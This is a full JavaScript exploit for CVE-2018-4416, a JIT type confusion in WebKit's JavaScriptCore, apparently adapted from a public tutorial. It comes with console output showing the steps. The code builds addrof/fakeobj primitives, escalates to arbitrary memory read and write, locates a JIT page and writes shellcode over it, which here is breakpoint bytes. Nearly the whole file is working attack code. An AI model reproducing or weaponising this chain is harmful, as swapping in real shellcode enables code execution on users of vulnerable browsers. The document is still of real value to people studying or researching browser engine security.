/* CVE-2018-4416 found by Lokihardt variation of auxy's expl (https://www.auxy.xyz/tutorial/2018/12/05/Webkit-Exp-Tutorial.html) ## Notes: - Using a Float64Array to fake objects is preferred since its aligned to 64 bits - Gigacage can be bypassed using a butterfly backing pointer instead of ArrayBuffer vectors. steven@webkit:~$ WebKit/WebKitBuild/Release/bin/jsc ~/cve-2018-4416.js --> (+) triggering bug... --> (+) testing addrof/fakeobj --> (+) got addrof/fakeobj working --> (+) upgrading relative r/w... --> (+) got arbitrary r/w working --> (+) finding jitpage --> (+) jitcode @ 0x00007f7549a01e20 --> (+) writing shellcode over jit page Trace/breakpoint trap */ // The following code is some exploit utilities written by Saelo. load('utils.js'); load('int64.js'); var ITERATIONS = 200000; function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123); return target; } // Here we will spray structure IDs for Array's // See http://www.phrack.org/papers/attacking_javascript_engines.html function leak_structure_id() { var s = [] function random_string() { return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); } // Spray arrays for structure id for (let i = 0; i < 0x128; i++) { var a = []; // we will use this to read/write later a.pointer = 1234; // Add a new property to create a new Structure instance. a[random_string()] = 1337; s.push(a); } // leak one i = 0; while (!(s[i] instanceof Array)) { i++; } return s[i]; } // get compiled function var func = makeJITCompiledFunction(); function gc() { for (let i = 0; i < 10; i++) { let a = new ArrayBuffer(1024 * 1024 * 10); } } function opt(obj) { // triggers a JIT compile for (let i = 0; i < 300; i++) {} let tmp = {a:1}; tmp.__proto__ = {}; for (let k in tmp) { // the structure ID of "tmp" is stored in a JSPropertyNameEnumerator. tmp.__proto__ = null; gc(); obj.__proto__ = null; // the structure ID of "obj" equals to tmp's. /* This is where the type confusion happens The compiler believes obj and tmp share the same type now thus, obj[k] will retrieve data from object with the property of a in tmp */ return obj[k]; } } // trigger a JIT compile so that next time we call opt, we get a type confusion opt(""); // we use a Float64Array because it allows for 64 bit addresses which // makes it easier to craft our fake JSObjects let fake_object_memory = new Float64Array(20); /* debug("{}: " + describe({})) this is a fake {}'s structureID gdb-peda$ x/4xg 0x7fffb26b3e00 0x7fffb26b3e00: 0x010016000000004c 0x0000000000000000 0x7fffb26b3e10: 0x0000000000000000 0x0000000000000000 */ // here we are crafting a fake {} fake_object_memory[0] = new Int64('0x010016000000004c').asDouble() //7.330283319466248e-304; // create a type confused int->Object debug('(+) triggering bug...'); let fake_object = opt(fake_object_memory); // used for addrof/fakeobj fake_object.a = {}; // used for a FULL R/W fake_object.b = {}; function addrof(obj){ fake_object.a = obj return new Int64(Int64.fromDouble(fake_object_memory[2])) } /* We don't even need this because our type confusion gives us the abilty to craft memory */ function fakeobj(addr){ fake_object_memory[2] = new Int64(addr.toString(16)).asDouble() return fake_object.a } // test primitives debug('(+) testing addrof/fakeobj'); var addr = addrof( {p: 0x1337} ); addrof([]); // this forces a real test assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('(+) got addrof/fakeobj working'); debug('(+) upgrading relative r/w...'); /* offset to the next fake object: 0x8 * 0x4 = 0x20 1. JSCell 2. Butterfly 3. inline property a 4. inline property b */ var container_addr = Add(addrof(fake_object), 0x20) /* fake a JSCell for the container 0x0001 m_cellState 0x0008 m_flags 0x0021 m_type == Float64Array 0x0007 m_indexingType 0x1000 m_structureID */ fake_object_memory[4] = new Int64('0x0108210700001000').asDouble(); // We will use victim as the butterfly pointer of container object victim = leak_structure_id() // Fake a butterfly of the container Array with the victim to give us a r/w fake_object_memory[5] = new Int64(addrof(victim).toString(16)).asDouble() /* Overwrite fake_object.b to the container Array so that we can leak a pointer to container Array and later update its butterfly again for a FULL R/W */ fake_object_memory[3] = new Int64(container_addr.toString(16)).asDouble() // hax is now a Uint8Array (container) that contains the memory of victim.pointer var hax = fake_object.b // 0 is a JSCell, 1 is the Bufferfly var butterfly = 1; var memory = { addrof: addrof, fakeobj: fakeobj, // Write an int64 to the given address. // we change the butterfly of victim to addr + 0x10 // when victim change the pointer attribute, it will read butterfly - 0x10 // which equal to addr + 0x10 - 0x10 = addr // the reading of an arbitrary value is almost the same writeInt64(addr, int64) { hax[butterfly] = Add(addr, 0x10).asDouble(); // now we write to butterfly-0x10 victim.pointer = int64.asJSValue(); }, // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer. write16(addr, value) { // Set butterfly of victim object and dereference. hax[butterfly] = Add(addr, 0x10).asDouble(); // now we write to butterfly-0x10 victim.pointer = value; }, // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end. write(addr, data) { // needs alignment while (data.length % 4 != 0) data.push(0); var bytes = new Uint8Array(data); var ints = new Uint16Array(bytes.buffer); for (var i = 0; i < ints.length; i++){ // 0x8-2 leaves us with 6 additional corrupted bytes this.write16(Add(addr, 2 * i), ints[i]); } }, // Read a 64 bit value. Only works for bit patterns that don't represent NaN. read64(addr) { // Set butterfly of victim object and dereference. hax[butterfly] = Add(addr, 0x10).asDouble(); // now we write to butterfly-0x10 return this.addrof(victim.pointer); }, // Verify that memory read and write primitives work. test() { var v = {}; var obj = {p: v}; var addr = this.addrof(obj); assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work"); var propertyAddr = Add(addr, 0x10); var value = this.read64(propertyAddr); assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work"); this.write16(propertyAddr, 0x1337); assert(obj.p == 0x1337, "write16 does not work"); }, }; memory.test(); debug("(+) got arbitrary r/w working"); debug("(+) finding jitpage"); // get JIT code address let jitaddr = memory.read64( Add(memory.read64( Add(memory.read64( Add(memory.addrof(func), 3*8) ), 3*8) ), 44*8) ); debug(`(+) jitcode @ ${jitaddr}`); // our shellcode var shellcode = [0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc]; debug("(+) writing shellcode over jit page"); memory.write(jitaddr, shellcode); // trigger shellcode execution func();